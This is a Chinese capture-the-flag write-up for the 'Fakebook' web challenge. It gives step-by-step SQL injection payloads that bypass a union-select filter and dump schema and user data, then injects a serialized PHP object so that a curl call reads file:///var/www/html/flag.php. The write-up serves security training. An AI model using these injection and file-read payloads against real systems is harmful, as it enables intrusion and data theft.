攻防世界【Fakebook】解题方法
简单分析
进入页面后发现,有一个login
和一个join
按钮,点击join发现无法注册,提示Blog is not valid.
所以blog应该是需要特定的格式才行,查看robots.txt文件,发现有一个文件名user.php.bak
尝试直接访问user.php.bak,发现会直接下载这个文件,文件内容如下
根据函数isValidBlog,可以看出blog的格式需要是URL地址
所以把blog写成www.baidu.com
注册
SQL注入
判断SQL注入类型
注册成功后进入view界面,发现地址栏有一个no=1参数,猜测可能会存在SQL注入漏洞
尝试
no=1'
报语法错误
尝试
no=1'#
依然报语法错误
尝试
no=1#test
能正常访问,说明no是整型,且后面可以直接拼接语句
判断select语句的列数
no=1 order by 1
no=1 order by 2
no=1 order by 3
no=1 order by 4
no=1 order by 5 #报错
可以得出列数为4
判断回显
no=1 union select 1,2,3,4 limit 1,1
发现被过滤
所以使用union all或者中间添加注释
no=1 union /**/select 1,2,3,4 limit 1,1
no=1 union all select 1,2,3,4 limit 1,1
由此可以判断第二列有回显
然后就是获取数据库名、表名、列名、数据内容
no=1 union /**/select 1,database(),3,4 limit 1,1
得到数据库名:fakebook
no=1 union /**/select 1,group_concat(table_name),3,4 from information_schema.TABLES where Table_schema='fakebook' limit 1,1
得到表名:users
no=1 union /**/select 1,group_concat(column_name),3,4 from information_schema.columns where Table_schema='fakebook' and table_name='users' limit 1,1
得到列名:no,username,passwd,data
no=1 union /**/select 1,group_concat(data),3,4 from fakebook.users limit 1,1
得到data字段存储的内容
序列化
根据上面data字段存储的内容,很容易可以看出是类UserInfo的对象序列化后的结果
当输入no=2这个不存在的id时,报错如下
可以看出content模块调用的是getBlogContents,而getBlogContents又调用get函数,传入的参数是$this->blog,由此可以推测,$this是被反序列化后的UserInfo
get函数的功能是用curl请求页面内容,但是没有过滤url,可以通过构造url为file协议,从而实现访问本地文件
现在关键的问题有两个:一是flag放到了哪个文件中,二是如何让data字段的内容变成本地文件路径
首先解决第一个问题,flag在哪个文件中,使用御剑扫描,结果如下
由此可知,flag.php在服务器根目录下,从前面的报错内容可以看出服务器根目录为/var/www/html,所以需要构造的blog为file:///var/www/html/flag.php
现在只剩下最后一个问题,如果让blog也就是数据库的data字段的值为file:///var/www/html/flag.php
序列化后的结果,由于blog被限制为网址类型,所以注册方式不可行
但是,可以通过不指明数据表的select语句将file:///var/www/html/flag.php
放入select查询的结果集中,然后通过limit控制取出该行结果
首先进行序列化
得到结果
O:8:"UserInfo":3:{s:4:"name";s:2:"rr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
最后payload为
no=1 union /**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"rr";s:3:"age";i:23;s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from fakebook.users limit 1,1
得到文件内容
base64解码后即可得到flag